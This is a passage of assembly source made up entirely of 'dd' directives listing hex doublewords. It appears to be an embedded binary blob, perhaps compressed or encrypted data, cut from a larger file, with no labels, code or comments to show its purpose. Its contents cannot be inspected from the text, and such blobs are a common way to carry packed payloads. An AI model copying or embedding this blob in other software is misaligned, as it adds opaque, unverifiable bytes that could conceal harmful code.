100A85D3h, 0E891F818h, 263213DCh dd 7EDF0218h, 1CC6FACDh, 82295960h, 93B6947h, 2A5520C5h dd 665FE4E0h, 39098D04h, 0BCBC65E6h, 6A8B8207h, 0F8DEFBDAh dd 58A2231Fh, 9901B4C8h, 4EFD6D6Fh, 802C38F4h, 0DDEC0B0Dh dd 24E85F2Ch, 0C1C4C464h, 9FCFEA89h, 0A83F9570h, 9F4E10E0h dd 4A8C80D1h, 0C6A8CC7Ah, 9813200Bh, 4050DC1Bh, 0DBB59E87h dd 70A38B4Bh, 75E84048h, 7F59008Ch, 5A9C82EDh, 2A255BD6h dd 0C12CE4FEh, 0A6DEB92Eh, 14567E4Eh, 204E0089h, 0FDC2FA88h dd 0CFA060B4h, 0C28F7E87h, 0C2A828FCh, 1B3A6048h, 1A0A209h dd 0CEA0674Dh, 0A1C88E11h dd 1DD4BDFDh, 5E092063h, 80E5D895h, 4656B0AEh, 0F606122Eh dd 166F60F0h, 115EB80Eh, 787C9480h, 0B2770B3Bh, 481DED9Eh dd 0F6802E11h, 9EDB30Dh, 98C00097h, 7A15AEEFh, 430B6D5h dd 0D05217A6h, 9D0706C0h, 28C0B700h, 21BAE449h, 5DF20BE0h dd 58D0F730h, 2CF4A21h, 0C2A65F6Dh, 0F9298458h, 248BFCE1h dd 8224326Ch, 24E949A8h, 40BAA5Ch, 8674D0D9h, 0E15D251Ch dd 698B8479h, 4904785Ch, 27A1C96h, 1D1F2E0Eh, 2277EEE3h dd 0F480FF50h, 101818B0h, 3845A91Ah, 68288C3Bh, 0B2485D2Dh dd 0A5328994h, 0B804B380h, 0B9866660h, 2021BD81h, 10EEE71Dh dd 0BFCB4D4Eh, 263A44CCh, 0E8FF1425h, 166DB020h, 2D7688FAh dd 85F0D641h, 7B4BEFEh, 66A86B4Ch, 112DF019h, 2D7CE931h dd 0CD72C043h, 22101CE6h, 0D927A2A0h, 18367940h, 6C4800D8h dd 1814073Dh, 604C034Ch, 85132F74h, 0C4F2BFA4h, 0EC008E7h dd 99FBF616h, 0EF048140h, 31DC18B4h, 82CAFD84h, 5E9F0119h dd 0EA5C6898h, 0B3C8000Eh, 0B06BFF49h, 60BF09FDh, 0A4BD4Ch dd 0EBBB390Fh, 21B52095h, 3FAAF900h, 682BEC1Bh, 0C5DE658h dd 1F724C31h, 87001120h, 7BB16B9Ch, 0F8FB8368h, 9BE70238h dd 80EC2620h, 0FF9EA0F4h, 640890C0h, 72B9767h, 28F4305Bh dd 0F3E0B2E2h, 230E3860h, 0F7001F74h, 629133A1h, 99E99E69h dd 1834D104h, 48F13ABDh, 8866FF82h, 604261E0h, 7A00A478h dd 125A5F62h, 0B51BECBAh, 71748C45h, 2478B08Ah, 0C6410ACh dd 0AD086459h, 18C40748h, 7A1016B4h, 3508C30Eh, 0B5E129DBh dd 53108C15h, 403740A7h, 0E566B143h, 3109A510h, 9518174Fh dd 67088C32h, 40C05802h, 9B620733h, 22BDF28h, 6C0F3D4Bh dd 668B0870h, 19DF70DDh, 1715C63h, 71810DCh, 6CAA1825h dd 0C6CFBD08h, 10624420h, 536188E1h, 0D6760C28h, 93816A11h dd 318119A6h, 8CEF9008h, 8EBC920h, 184B6395h, 818207Bh dd 0B818D966h, 0CD08CCD5h, 0D763FAD9h, 20272410h, 9F32D2A9h dd 0A2B508CDh, 22F93A8h, 0B4031108h, 232010ECh, 3F821003h dd 86312035h, 0E1F81025h, 39C428CCh, 9859DE9Ch, 69DC1065h dd 312B08C4h, 47BDD04h, 0D5041210h, 0E79B0686h, 35D72038h dd 63371520h, 83BFC974h, 4EDF0810h, 30FB0618h, 69D11BA3h dd 50D218B4h, 0C4D8CD08h, 40DA620h, 0F044DA8h, 0C16A0C19h dd 0B18C40B6h, 0D46EE4A8h, 0CF54EC80h, 61396D10h, 0A332023Ch dd 144903A0h, 88066F10h, 0C3098D31h, 36189251h, 6B570046h dd 8E234071h, 0B8086D66h, 439C20D1h, 24081ED8h, 148C908h dd 365C6822h, 0FC44DD05h, 1045E6Bh, 7759062Dh, 0CEB73208h dd 4048AA20h, 1B81625Fh, 46845192h, 8668B6Ch, 30CA7270h dd 0DE88D82Ah, 9AE1884h, 18CAF0B2h, 0E28C9CD8h, 40814805h dd 8D62D97Dh, 387B620h, 810757Ch, 0A81048B5h, 9C6C185Fh dd 803A1328h, 10DD9DF3h, 0E25488EAh, 6A40F0F0h, 0A78840BCh dd 22087862h, 7AF20228h, 2805B02h, 4F032FB3h, 0CE5010A9h dd 0C3C2437h, 154ACF88h, 1C10941Dh, 88B62A73h, 20618720h dd 0DA5410F1h, 0B540F684h, 906C4046h, 623C404Dh, 314F831h dd 81846DBh, 5538D04Ah, 6F4B80B3h, 18F9B1CCh, 0E7444041h dd 0A9030F40h, 0D195BF9Ch, 2810E87Fh, 0FA981845h, 0D5583B20h dd 15153C61h, 0FC318C3Eh, 25F39320h, 0C1D811ECh, 5431840Dh dd 0A4C81395h, 88690933h, 7C5055B1h, 6018AB78h, 1105049h dd 0F04002Bh, 0A2D7FF2Ah, 6E5FB6A4h, 0B88468A4h, 0A88C0330h dd 62DF61EBh, 0D5FDCF8h, 64BEC800h, 71DA2877h, 68C4BF1Ah dd 0CA00E3F0h, 905A9AEDh, 0E97394Fh, 0C3193CD0h, 682F4340h dd 67909382h, 0D9AC0F06h, 4101EFh, 0ED96D419h, 3EBE2FA3h dd 184C1731h, 91E0F798h, 0C9B200EAh, 6F3DD396h, 0AA00FBB9h dd 0AD7DCDA8h, 396AE9F5h, 88DD8512h, 0AB3DCC05h, 1AECE9DEh dd 60691DCDh, 59999ED5h, 0F1179C98h, 0F5CC00ACh, 8329C81Ah dd 46A93300h, 0D0A8AB1Ch, 0BE35001Bh, 0D938B66h, 0CB0741E9h dd 0C82D64BAh, 2C0A0C75h, 0E82FA682h, 0FC3D9CBCh, 0F2AB1EA1h dd 793907C5h, 82981032h, 28C5292Bh, 8603D2D3h, 10925712h dd 8C0AE9A8h, 595F8A0h, 69CDB2EEh, 394AD85h, 82ED8EB3h dd 2CC0FDC9h, 0C613D9Fh, 0BBD5127Eh, 0A33D1448h, 692A0051h dd 3013D787h, 4B121B58h, 81DF205Dh, 8F2D7882h, 62119A50h dd 40A57058h, 2401A1DAh, 4C50Fh, 9AC74DF6h, 13183D9Dh dd 41A9D0E3h, 0E8890E68h, 0D854A4FFh, 0D0B9E736h, 0F4E5CB20h dd 0B31D2844h, 7DEF00ECh, 9BB9F133h, 0DC038912h, 2D41B2DEh dd 0F5383D78h, 360BF90h, 36824821h, 9FA00C65h, 0B080CD97h dd 2221ED60h, 1EDB2AF2h, 0B0838292h, 6527E929h, 0B6DF9E07h dd 3F85111Ah, 109A0800h, 3E818FAFh, 5C8635DBh, 0D1D23612h dd 10E42653h, 8400E728h, 0BA3BC99Eh, 0E30301BEh, 70417C52h dd 50286567h, 0A3960F55h, 402635E6h, 12837909h, 0F66C501Ch dd 1A0A04Bh, 0A85D51DAh, 0E874B088h, 0F8A4DA3Ah, 30187C69h dd 3E184B58h, 641E41E4h, 0EF016B8Fh, 0A6760294h, 54734095h dd 747E3D10h, 0A4240890h, 5D165427h, 22DA8E2h, 0DB00408Fh dd 6F04AA78h, 97284307h, 0AC807F16h, 33431A4h, 9D8E613Ch dd 0CFCA4022h, 9AE72498h, 0E6C4A500h, 86CCA39Dh, 667398h dd 29C39131h, 5E69AD2Bh, 48A408A1h, 0ED48B6FCh, 0C92C91B4h dd 93BC21ADh, 0EC52D794h, 68F48FFCh, 672F016Ah, 87EB2783h dd 0E421A018h, 69C9B340h, 1324A05Ah, 12D4B698h, 1F18B0D3h dd 0C7009C4Dh, 81186B41h, 255E9E0Fh, 5945F8C8h, 41680A06h dd 4820F214h, 502CAECh, 8C028DD1h, 9750F4D0h, 0F0308264h dd 0DCAB7857h, 4EC7231h, 1289E983h, 3828F06Ch, 6D46E52h dd 5301C1Ah, 1ECA249h, 912B3ED4h, 3F41F040h, 420D00EAh dd 0EB1B38C6h, 0AA18D5D3h, 0F728DFA4h, 4538D2A2h, 0F81A4180h dd 5CC25E2Ch, 2E0C604Ch, 8C589763h, 14B74624h, 40A2AA0Ch dd 0CFEE071Ch, 408204F8h, 2771E8EFh, 8106CCE8h, 9E2029Ah dd 884B5098h, 3DEC241Fh, 0D4CA81D8h, 21F221C2h, 0CF71C0AAh dd 0CE3F99E8h, 5035B28Ch, 0D3604092h, 0ACE0EBDAh, 0F584803Ah dd 1DB7FE00h, 98F127C1h, 8B6E0E39h, 0D4405EC4h, 0A59559CFh dd 8FB7D203h, 3FCB282h, 412EA038h, 0E100DD26h, 0D299316Dh dd 588485h, 91E4FAEDh, 0D9D3259Ah, 0EA93CA06h, 142AA1DAh dd 0FC352213h, 0EC61DBB0h, 1993A06h, 0A992636Fh, 0E52B8298h dd 6C74E2D4h, 1E029E02h, 90A0A4C4h, 63825500h, 980F33C6h dd 0B39699Eh, 6C08400Ah, 5BCC78C7h, 0A3008372h, 2F1D11E0h dd 0FFB0B60Fh, 41CB4099h, 60C4011Ch, 71F858C7h, 50A1F6AAh dd 3A246061h, 3ED61C01h, 3D6532DEh, 0C7D68D8h, 429A0108h dd 0A2499428h, 0B7BB101Ch, 64288C4Dh, 44E758FCh, 0DE2C1309h dd 7D96A098h, 877E80h, 0E9E1EDE7h, 68E4FE42h, 0D9A9203h dd 0CFD5A1BBh, 0D9B622C0h, 1CF690FFh, 400BB035h, 0F8DA89EAh dd 4B00DDAAh, 692781EFh, 0C0C186h, 0ADAB2C20h, 0A5AA230Dh dd 5F5E6600h, 6A80357Ch, 5AE80005h, 7E696D0Eh, 0A8003876h dd 0E0CD6B15h, 92EF2282h, 8448E3A0h, 0F4884867h, 44A3F422h dd 2010C5FCh, 4312F7A4h, 4C302963h, 0E9F8145Fh, 0A2121044h dd 0FAAC49CFh, 2511D0A0h, 0F81E9FC1h, 0D0390E69h, 81280108h dd 82FAC859h, 20A24800h dd 5FE3D28Fh, 4A8A425h, 7441D52Bh, 57B8D1ADh, 0AA0420CFh dd 4B7FD700h, 7C26A5BEh, 37E900E6h, 0EFB4DEF1h, 2F00241Ah dd 86C56305h, 6A8F8D6h, 5282E6AAh, 16E0F97Eh, 3AF8DA4Ch dd 60063241h, 1ED061F6h, 554BCF0h, 129A67E9h, 0A208411Dh dd 800A2F01h, 27DECCF0h, 589A9781h, 218B240Fh, 15787C80h dd 0B0508060h, 67749CA0h, 140D0B0h, 6D0B26A2h, 90EE648Ch dd 1199F428h, 7C552124h, 399A9F00h, 9D9FA0Bh, 23B501D2h dd 0AA6CA820h, 8402BFD8h, 0E441F7B7h, 988C4ECh, 9E2204B6h dd 0D5EEF801h, 9E53067h, 0AD540114h, 97CD02B8h, 0E0D622F9h dd 4C66D08h, 69028E91h, 0A8BC93A7h, 931301A0h, 0C0D33C06h dd 92A08AE9h, 7385E68h, 403564D4h, 127C6137h, 0F0B0F75Bh dd 3DFD0197h, 4CEC6EFBh, 82A070D7h, 0BCF3D92Ah, 697CAC50h dd 89205F58h, 6108A265h, 0B2FC02A7h, 57FC066h, 899C6B52h dd 0EB870767h, 964C188Bh, 4DB50115h, 0A2BB2B9Ch, 0F831F034h dd 3EBA9D18h, 26D708F0h, 1224EB83h, 97E005A4h, 289004A2h dd 0D6BD00B2h, 7863981Dh, 0E802BD24h, 5441319Fh, 419A81Ch dd 83F13345h, 0D6108463h, 8C084CC9h, 1A28A0E7h, 28606933h dd 4B0EBC94h, 8B26C755h, 0ED001335h, 12B5DC80h, 982E126Fh dd 5CFC003Ch, 0F43F66C9h, 0ECC7AA00h, 0C07585DFh, 6BC52C4Ah dd 0AC3E4148h, 0E0824AFh, 20ABF001h, 1E45AABBh, 0B101830h dd 1772457h, 6F377F80h, 8707B7DEh, 0FFAADC98h, 68EA09C0h dd 46B00CDh, 2442AC51h, 400417C5h, 0C8417FC3h, 679A5891h dd 0EA007C22h, 23991026h, 0E730823Bh, 0BAD3E836h, 32540FCAh dd 0B8F40872h, 2C503E1Dh, 443796CCh, 0C22F9618h, 28812588h dd 241D0AE7h, 0AA2FF50Ch, 0BDB0A5ADh, 0C02404C9h, 50B09292h dd 2F26B868h, 14606941h, 341C3B42h, 0E9968229h, 3C6ADC14h dd 2F6618D1h, 48056BA0h, 0D000CCCh, 28BF9ACh, 4C9AF267h dd 9C9F94B1h, 0F8D0780Ah, 9F038480h, 3AB37D5h, 0BE0C9AD7h dd 31E76690h, 8039C73Ah, 4D7DB218h, 7F740112h, 0A9EC63B0h dd 6EC26CE6h, 4500885h, 0B82401FCh, 34654A50h, 1ECE0480h dd 0CC627501h, 3B986720h, 16C43349h, 4C07A898h, 4C823D64h dd 0E6A06017h, 43962D41h, 0BEC7B0E0h, 2822AB16h, 0D23BA844h dd 41B0CA00h, 70C17B08h, 34991C4Ah, 0A60408A6h, 0A5A5D4h dd 98CD8682h, 60251090h, 0E2C0B845h, 0CC2488FDh, 0F12A009h dd 0E9600230h, 1B00710Dh, 4075F826h, 80C2AFBh, 58646994h dd 6197002Dh, 0A557F920h, 0BC7802A9h, 0C2440A9Fh, 4061D597h dd 20910466h, 0D86399D3h, 13BC942Ah, 58A5A1C1h, 7F5E18C8h dd 0C850AA4Ch, 3EB1267h, 0EDBEB150h, 0FE2212B0h, 0C8202F81h dd 0B9531737h, 287564h, 1E7139E8h, 50B8BBC5h, 0CA318327h dd 13084064h, 30876008h, 9A9E29E9h, 19DEE06h, 48C8C3CDh dd 821310B3h, 989C44E6h, 0A94CC430h, 0D130C78h, 6C140D8h dd 9012F641h, 0D329105Ah, 0F10ADC9Ch, 0C061A0AAh, 14359DD7h dd 3FC1A000h, 1011D4B5h, 30D19914h, 31A0904Ah, 13F6E02Bh dd 0FCD7722Ch, 2DDF01C1h, 0A3589806h, 973E0024h, 13F40F06h dd 84E9097Ah, 20D712h, 333E733Bh, 0E8DFC500h, 8F48ABAAh dd 0E9DD0519h, 8B989C93h, 9900751Ch, 2ECCE81Dh, 0E6F4DC9Ah dd 3CA33002h, 114A8279h, 0D488B0C3h, 0DBA7C1F6h, 54976C20h dd 4057B424h, 70033AD1h, 0FB4C29DFh, 0BD3EB1Eh, 2801228h dd 46EA5C01h, 3E0C706Ah, 301C190Bh, 8A8880CCh, 0E8CF7201h dd 0F6897405h, 8D2B2541h, 4C22B4C0h, 16A18F05h, 0D0901E01h dd 4DB2F094h, 1382F8CBh, 980A6BC1h, 41AECE2h, 38C4B165h dd 0C34F7C84h, 0B4945002h, 1CC59E7h, 0A299C8B3h, 111C210Ah dd 154B24h, 4AAB66h, 963BC591h, 182241A1h, 7012F308h, 1C321F8Ah dd 0F47400D3h, 0BA0E1339h, 542318D3h, 0AB082423h, 0A1416168h dd 8468A552h, 1024C20h, 4860FF22h, 1E908284h, 32E6A880h dd 60147E8h, 9AF10BC1h, 6ACD4922h, 10BD022h, 44A0501Dh dd 0F397BC15h, 62BF1E01h, 0D912C760h, 0BE9A064h, 57878943h dd 13E1400h, 90C3D575h, 0C1114295h, 5070944Eh, 80EC0191h dd 0F6D6EE3Fh, 0B470D4E9h, 903ADB7Fh, 9A0F0018h, 4CF2C368h dd 11692F05h, 48CB9C61h, 0EC881BC8h, 0ECC748B2h, 0A23FDC43h dd 83001DC0h, 68463699h, 163A8666h, 30E67961h, 0F91B4058h dd 304AE0A1h, 1D589CC8h, 22C685E8h, 0E77CAC00h, 327BF04h dd 0C55EE9C1h, 0C6A06833h, 7EF64139h, 9BF678C1h, 70200C13h dd 5AFE079Fh, 831F69A3h, 7049BF18h, 0CC010C48h, 4072A935h dd 3A00DB7Dh, 0DAE91D90h, 13A7CDCAh, 8B3B1A5Ah, 0AC8110C8h dd 32694A00h, 0A9337B29h, 0AB1C3E00h, 2DE6F5D8h, 3B41265Ah dd 78D4810Ch, 0DAFC8F59h, 2CD258C0h, 0D874B082h, 643181E7h dd 490EE954h, 200189A2h, 0AA7E0A9Bh, 0C8305893h, 73F4BF03h dd 0F49FA22Bh, 33D0B0FBh, 0FAE0102Ch, 9EE3F105h, 0DDF084D7h dd 9C23C89h, 60728224h, 0FBBB0E8h, 0F0EA9280h, 0EC17011h dd 83295549h, 38CC014Eh, 4213CD20h, 0CED7h, 0F1E4FFF6h dd 1284B02Ah, 40F71249h, 9925D4D0h, 0E909BE0Eh, 4896B081h dd 18A01E0h, 0EC8EA6CFh, 28A0F793h, 0E91383F8h, 2A112EE1h dd 1D42E264h, 7977A84Eh, 4CBC4982h, 139E1420h, 488E13Eh dd 89DFA42Ch, 3B9C2CB4h, 47538FA7h, 486F8D13h, 0AB20D400h dd 0F0C800A8h, 5B695D24h, 0B7012885h, 3EBAB2A2h, 6882ABEBh dd 5F013B49h, 0E90100D6h, 3121A170h, 0EE3F1C6Dh, 13175AC0h dd 2890CD6Dh, 7DD7C46h, 0ADB27260h, 8E56CE90h, 58B12C24h dd 81D5AE89h, 413DA004h, 0FF28D06Ah, 91799EA3h, 1B377400h dd 29BB3571h, 0AA330088h, 0E3AC1F43h, 0C01591Ch, 0A39069A2h dd 2D31C2h, 82A1E630h, 60C0CE57h, 5B415678h, 0ABF280D1h dd 9960C707h, 0D3C25F38h, 0D6A48095h, 809A8Dh, 29B5353Bh dd 45A9277Eh, 0CD0F1E7Fh, 2082EAE6h, 99F7BB7Fh, 0D2F20422h dd 0E2455FFFh, 0A85116E8h, 291850CAh, 0A9AA88D0h, 5A446896h dd 69D49B21h, 42E42184h, 842BCB67h, 0E9416F08h, 62D98312h dd 803D9F14h, 0F7FFF407h, 62E32A5h, 0F4133EDh, 3CFB2075h dd 9A821CCCh, 0F24890ADh, 0AF832D94h, 28BC8861h, 653E0B14h dd 846844D5h, 0D0A9645Ch, 0D24B0A0h, 23F1E662h, 0D0B200D7h dd 0EF59F041h, 0D5516308h, 7441045Eh, 0E0AB9101h, 49C4A424h dd 9A00A848h, 0FF03CA24h, 6F372700h, 0C008CCA2h, 2F1D011Ah dd 0E4948705h, 144E09Ah, 94C81920h, 282614A4h, 12EDBC02h dd 2C5032DFh, 0B6D92207h, 85AFA234h, 0A040777Bh, 0C05E3E04h dd 9F270106h, 3435723Ch, 1590F464h, 0DF038AE8h, 2D47DCAAh dd 0D7A81088h, 691A03D3h, 4CBF4F01h, 0FEE1B880h, 0D0320728h dd 8668D997h, 283F3201h, 16909100h, 865DDE9h, 14C8F11Ah dd 5A411235h, 0F65003B8h, 3AE0E5B2h, 0C0300113h, 9A8F70ACh dd 0CB201F45h, 6E38C0F9h, 0E229BA79h, 1154A06h, 0F4600D6Bh dd 247D2F82h, 0F62D20A0h, 26249340h, 75003A83h, 8D43FEDFh dd 35122642h, 1EE980F0h, 0A1E3B6D8h, 9A282C90h, 0C11CBB01h dd 63598227h, 7C30F950h, 70E0A84Ah, 0FAD480F7h, 0F2D74700h dd 3A8FB4B2h, 29340139h, 5201E484h, 6EC087DAh, 940A9396h dd 24463C08h, 0A2888808h, 9E699C01h, 0EC472D50h, 28279100h dd 58F448AAh dd 484B551Ah, 26F2B4C1h, 2D852154h, 7CF06C80h, 4C26C7EEh dd 1B0024B5h, 165B03ABh, 414A2697h, 0A029B5h, 0C4D08E7Eh dd 0C9FAE52Bh, 0D9AB0302h, 422F1112h, 12785024h, 9A35713h dd 24DD2620h, 4490D474h, 17CF8B69h, 911A177h, 7451AE0Ch dd 2C58A910h, 8520910h, 12441D82h, 0E0C1E61h, 80201E70h dd 3D3A9A91h, 0DF40A112h, 0FCF64C01h, 9842F4C9h, 1F830064h dd 94B0A791h, 96F22103h, 0C3828ACBh, 94200925h, 0D489018Bh dd 0D9137CC1h, 0EC798AC2h, 4895A0F5h, 0B2E900B8h, 37D6BDCAh dd 0DE9C2C70h, 0E69F3C87h, 5F0D8EEEh, 8276D160h, 60C085A3h dd 2140AA9Dh, 97BA0035h, 6A2F0BD3h, 2CB032E5h, 0A2FB1820h dd 0B47464E8h, 0AB01861Ch, 0F912F83Ah, 0C8C1C835h, 0B4520713h dd 0C303C128h, 0F1FF8020h, 0C713F062h, 247C2984h, 6C9E9558h dd 6501C000h, 3FF192Bh, 7743EA9Ch, 20E79AE5h, 60BB450Ch dd 3B63DCE4h, 0AAD19698h, 1800D013h, 6195FC12h, 8718C823h dd 0F328B829h, 6EF4092Dh, 0FCC07701h, 0A20464E8h, 0AC591BA3h dd 62825480h, 61E09652h, 9C7894h, 9204F501h, 83D700C8h dd 12E1C6C5h, 1092ADA8h, 0D000F459h, 80FE00C4h, 0ADAAED98h dd 4CAE020Ah, 9E88E93Fh, 1317DCF8h, 2841A909h, 0A3FC8235h dd 0B4249C05h, 4A1760BEh, 0BEF7F0D0h, 4CA0824Ch, 555F2F95h dd 4CACC756h, 4B9387Ch, 500292B7h, 61DAB891h, 0FABCC60h dd 1BC7BE9h, 0B1711204h, 3C8FD690h, 0C5A360E4h, 48B0E2E0h dd 0A4BB27E0h, 0E8ADF8CCh, 0DA10D058h, 84932520h, 0FC81F6ECh dd 0AC39FD97h, 3E2C075Ah, 2C2089A8h, 0FFFD780Ch, 2E78034Ch dd 69635C46h, 83200323h, 12EF5FEh, 2BE381h, 1A7AA6Ch, 3293E2B5h dd 43A8EE8Eh, 0E09D8298h, 98DEB1C4h, 1058140Dh, 645738DDh dd 1F0DA7C3h, 64331318h, 952E0F58h, 185D2086h, 801A10Bh dd 0D8E41Fh, 955BE926h, 0FA32B015h, 8F698307h, 20A46694h dd 24528E0h, 8BE96FC6h, 884A8AAh, 12FBAC92h, 681C2604h dd 0F4CB49C1h, 0DAD182AAh, 44C03075h, 35542E0Dh, 95BF00F0h dd 0BDB31203h, 0E9A8E00h, 43F1ECB0h, 163E01E9h, 1AEBBF2Eh dd 587112h, 86AA8208h, 789C32F3h, 1088C430h, 140899Fh dd 0CCDBAAF3h, 0F07B9B4Dh, 0EC5B9C91h, 4132AC03h, 546BC2ABh dd 0CC95939Ch, 260021B8h, 8FBAFAF1h, 0A839D001h, 9764F8A0h dd 4CC14013h, 80F022E4h, 4131743Ah, 10CF6947h, 74AC70C4h dd 2EC8615Ch, 399ECC34h, 1127A02h, 10DB0266h, 973EC0C8h dd 2240B067h, 0D0201D1h, 54E8AA02h, 0B051EDBAh, 3C600980h dd 0E682C54Ch, 0E22B8090h, 3864A41h, 37741A30h, 1065B6C7h dd 9381EB1Ch, 9931CEC2h, 0CCA0803Bh, 1FEF069Dh, 0C08F669Bh dd 0B329FAA4h, 982041DBh, 14A2278Dh, 3CA0D08Eh, 0EB12F7BCh dd 48377F40h, 0E606BC99h, 68F86441h, 0B112EE09h, 68BCEA77h dd 9AE17B24h, 62ED20F0h, 3E04F197h, 1A19B43Eh, 314C10A9h dd 20082E08h, 0B7A00797h, 16040CDh, 3C3C8743h, 7C54CD3h dd 2442EF9Eh, 0F1156CC2h, 6081254Ch, 3CA14D94h, 3C978144h dd 162B5541h, 93C89814h, 0FC038217h, 2480B4D1h, 0FBE6F420h dd 8008021h, 0B15EA03Eh, 0F38A00D0h, 40A9DC15h, 0DF71F04h dd 0E4AC4C9Ah, 0ED2A3D02h, 9D00225Ah, 1FC7B450h, 401B90ABh dd 0CEEECC05h, 6B4E422Bh, 994A3C8Ah, 1B8051ACh, 0CF98507Ah dd 409AA093h, 33D5D120h, 0EC40A8F1h, 89FC3CF0h, 9F2FD717h dd 0A81BF424h, 67BCD198h, 69E420h, 2955727Dh, 12F33A21h dd 80D77CEAh, 900090D9h, 79F0573h, 391AE4A0h, 0D8DCDB01h dd 66278185h, 6138F442h, 4498897Bh, 165B4230h, 0F4036E65h dd 29739C5h, 821FD422h, 0B4FB4D3Bh, 505CBB94h, 820015A0h dd 615632FDh, 96BF1288h, 0E4022F38h, 0F4661199h, 5B126C13h dd 483138A0h, 2E047CBBh, 0C7D3929Ah, 95C8A130h, 52C63006h dd 2A8D94BCh, 443D0F4h, 0B3B12610h, 22093CF4h, 5840E9C0h dd 0B07502EEh, 0A75B6602h, 60F0504Eh, 3E70A478h, 8403C120h dd 542B9EDBh, 12E4FFE0h, 0F4820B26h, 41090848h, 9D38581Dh dd 90971D50h, 0F445A2D0h, 748B4827h, 5248E45Ch, 50B0E425h dd 6B4EB9A0h, 4B818081h, 70206A01h, 53E0208h, 50081294h dd 341370F3h, 20F0CC63h, 9410C4B8h, 0B84A9B83h, 0CCB304ACh dd 0AB20D8BBh, 0F200F004h, 97E69D38h, 0C9EFACAAh, 0B8096411h dd 29B3C60h, 2C30C317h, 1C95F894h, 0C8406884h, 96F63F69h dd 91623502h, 81829E0h, 6B30133Ch, 8B82187Ah, 6180A04Eh dd 5010953Dh, 2154B501h, 0C709EDFCh, 20663EA2h, 0DC178F88h dd 37990F3Ch, 50C41D7h, 0D4B6A018h, 5008A219h, 0B610802Ch dd 0ED990414h, 70D0E212h, 588F94Ch, 0A2AA26C5h, 5B8C343h dd 44CE292Eh, 0F8E6631Eh, 8212ACA0h, 0A08839DCh, 2D841611h dd 871804F1h, 2C20A1BAh, 3CE8489Ch, 10384068h, 132BF741h dd 0BA01DDD4h, 0F588133Eh, 8C698981h, 2EAA32C1h, 0FFBA1400h dd 26070B7Dh, 28C32983h, 0EC662EB0h, 5B641008h, 8501C803h dd 9420128Bh, 42F4E5EEh, 945CA900h, 0D5A8E225h, 4566409h dd 5F828E85h, 0B895h, 73F9498Ch, 96343041h, 9E25D3C8h dd 132B3A04h, 180D7683h, 0C0782130h, 3800C581h, 0E3ABB21Bh dd 445945h, 6588686Dh, 361623EAh, 369BB3Ch, 0FF31C3BCh dd 5CF898A0h, 281C252Ch, 0C0D90089h, 44A5461Eh, 0B626286Ch dd 0D4970098h, 2D3647A0h, 80BA5F13h, 749CB89Ah, 0B9966578h dd 0E6920CF4h, 91091C48h, 8933CBB3h, 15904694h, 0A0A1E282h dd 3A456539h, 16412842h, 689A02F3h, 0A03B18F1h, 189A954Bh dd 4FB0A408h, 412668F8h, 0A8920B28h, 6C8878BEh, 20C39CFFh dd 9CAA98A0h, 2642B53h, 0EACD01A9h, 1844743Ch, 7682D8B1h dd 3D006CBCh, 25C68DFh, 61F00EAh, 8F8DC7ACh, 0F35B0120h dd 5E68F881h, 0F240AC40h, 0E6F634AAh, 1204E9A1h, 9C54033Eh dd 0A1EB138Ch, 6451D0E3h, 1324282Eh, 108F5531h, 0EFDC8314h dd 903E5F88h, 5734D67Ch, 6B04AD00h, 369AE7CDh, 3F260018h dd 8241C1F3h, 0E1D0354Ch, 0B2EF1CC0h, 583EA4EBh, 74944F14h dd 942114D9h, 0F85F04C2h, 0F1DF10A0h, 75D39600h, 1333C586h dd 2F84820h, 0B0F7400Fh, 7856068Dh, 25A894ADh, 6090A7ABh dd 18C04E3Eh, 8E921726h, 0CA6B3844h, 0B85C51D8h, 6CD7D31Fh dd 0A09593D0h, 0F15EBDC0h, 0B02CBC13h, 72BE2FCFh, 0B8C1E829h dd 992830F7h, 0D0B67CB8h, 3E27102Ah, 2B7CE84Bh, 846803A7h dd 0EBD90119h, 25E4A9C4h, 3BA0872Eh, 74AA8082h, 31606498h dd 0D8680BE9h, 37C50D1h, 9777296Eh, 43F2251Ah, 64F10881h dd 0DE484286h, 0DB40277h, 0D8E86284h, 5B821A84h, 0E091FFh dd 0DF2E2C8Ah, 14AF1479h, 1D281044h, 6F820A65h, 4C25A4EBh dd 8480B9E4h, 0EC143682h, 46218584h, 0B4C068C6h, 0E047E97Ch dd 9C80EC87h, 0C1019591h, 8E10B07Ch, 0C02F0461h, 98F80708h dd 28B85E89h, 85413541h, 7830805Dh, 0E5A01E7Eh, 3A0185FDh dd 89509006h, 0D74F029Dh, 40C0F8C0h, 0A061D8D0h, 86BF4C3Eh dd 2011A4E8h, 0ED00F521h, 0CF6F37A1h, 1C79EC2h, 0DB6C085Ah dd 26EA9475h, 71345024h, 31DAA700h, 8908D8B7h, 382AFC1Fh dd 148090ABh, 0A08A2BE9h, 9A00E2EAh, 78DDD50Ch, 193499B0h dd 0C88D6482h, 186433E7h, 5603BAAh, 38F3C1Ah, 0B69F820Ch dd 3548C620h dd 0FC132888h, 8195AC9Ah, 0A3B101E8h, 98CC583Ah, 0C50EEFABh dd 8FE69815h, 0EED1833Bh, 2642A065h, 0FF903D4Ch, 1BEC7602h dd 74C05532h, 0E70BBFB8h, 20C17E82h, 0E95A944h, 94C4000Dh dd 0D3146A9Ah, 41FEF885h, 0D1B76703h, 0C23B1AACh, 9A088229h dd 8114AF12h, 8E0B9E2Bh, 24D8A13Bh, 9C4C1F54h, 250182F8h dd 85B304A5h, 2B488C74h, 3293D425h, 7B3CE44Ch, 8E011987h dd 5A4F9E8h, 0A9BDB4A4h, 0EC216684h, 9430B008h, 2956190h dd 92A42401h, 0CC7D823Ah, 7EEEC584h, 3230CC31h, 0CD6BDB01h dd 149447C9h, 0ECF3139Dh, 0FDF4844Fh, 0E8BB1090h, 94013401h dd 8D98E912h, 7881A751h, 925869h, 7DD0D488h, 0AB00386Bh dd 5FF91AD7h, 19740176h, 0C06735A0h, 0B56188EBh, 71390966h dd 6E424C10h, 0BA5128BEh, 0EEA1C02Ch, 0CA7B0070h, 0A2610E60h dd 0EAC1994Ch, 0E0FF21C2h, 1B0140AAh, 171C3B9Ah, 90683313h dd 0BE0C224h, 38503427h, 0CC0197E8h, 8266B6F2h, 0D0009CA2h dd 2D4F5F0Ch, 5C4200DDh, 505C595Eh, 0BD691F12h, 6811DD20h dd 403CC909h, 3A12F3B8h, 67B08054h, 371320B0h, 8C841141h dd 0F98B28ADh, 8299B8C0h, 30298924h, 9C41DD84h, 344F5CB8h dd 9490908Ch, 41C4B68Dh, 0E0122E0Dh, 0F94FD258h, 74A25475h dd 0EA7C4192h, 814F3612h, 1F41AA18h, 27D0E13Eh, 3492B59Fh dd 0E087E4ABh, 364167A3h, 